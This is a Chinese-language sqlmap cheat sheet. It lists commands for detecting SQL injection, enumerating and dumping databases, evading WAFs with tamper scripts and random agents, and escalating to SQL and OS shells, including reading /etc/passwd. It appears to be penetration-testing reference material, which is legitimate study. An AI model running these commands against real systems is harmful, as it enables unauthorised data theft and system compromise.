常用参数
--is-dba 判断当前用户是否有管理员权限
--users 查看所有用户
--current-user 查看当前用户
--dbs 查看所有数据库
--current-db 查看当前数据库
-D test --tables 查看test数据库中的所有表
-D test -T users --columns 查看test数据库中user表的所有列
-D test -T users -C username --dump 查看test数据库中user表中username列中的所有数据
--dump-all 保存所有数据到本地
--threads 10 设置线程数
-p TESTPARAMETER post注入指定某个参数,比如可以指定username
-h 查看帮助
GET方法注入
- sqlmap -u “url” 指定检测的url,后面可加参数
- sqlmap -u “url” --users 爆破所有用户
POST方法注入
- 先使用burpsuite工具拦截post请求数据包保存到post.txt中,再用sqlmap进行调用
- 命令:sqlmap -r post.txt 参数
- 举例:sqlmap -r post.txt --dbms mysql -p username --dbs #指定mysql数据库,注入参数为username,查看所有数据库名
带参数注入
- 携带数据注入:sqlmap -u “url” -data=“username=admine&password=admin”
- 携带cookie注入:sqlmap -u “url” -cookie=“xxx”
混淆注入
--identify-waf 识别waf类型
--dbms=mysql 指定数据库类型
--skip-waf 绕过waf
--random-agent 使用随机http头部
--mobile 模拟手机请求
--smart 进行积极的启发式测试,快速判断为注入的报错点进行注入
--offline 减少跟对方的交互
example:sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile
高级注入
- 当默认级别无法探测到漏洞时,可适当提升检测级别
探测级别:–level 1-5级别,默认为1
危险级别:–risk 1-3级别,默认为1
使用最高级别:sqlmap -u "url" --level=5 --risk=3
提权操作
--sql-shell 获取数据库权限
--os-shell 获取系统权限
--os-pwn 与metaspolit交互
--file-read="/etc/passwd" 读取敏感信息
使用tamper
- 有些时候网站会过滤掉各种字符,可以用tamper来解决
example:sqlmap -u "url" --tamper=space2comment.py
tamper脚本在目录:/usr/share/sqlmap/tamper
,目前有57个脚本
- 常用tamper脚本具体含义
apostrophemask.py 用utf8代替引号
equaltolike.py like代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
greatest.py 绕过过滤 >
space2hash.py 空格替换为#号随机字符串以及换行符
apostrophenulencode.py 绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2mssqlblank.py 空格替换为其它空符号
base64encode.py 用base64编码替换
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between 替换大于号(>)
space2mysqldash.py 替换空格字符(' ')(' -')后跟一个破折号注释一个新行(' n')
space2plus.py 用+替换空格
参考文章
https://www.freebuf.com/sectool/164608.html
https://blog.csdn.net/qq_36374896/article/details/83658305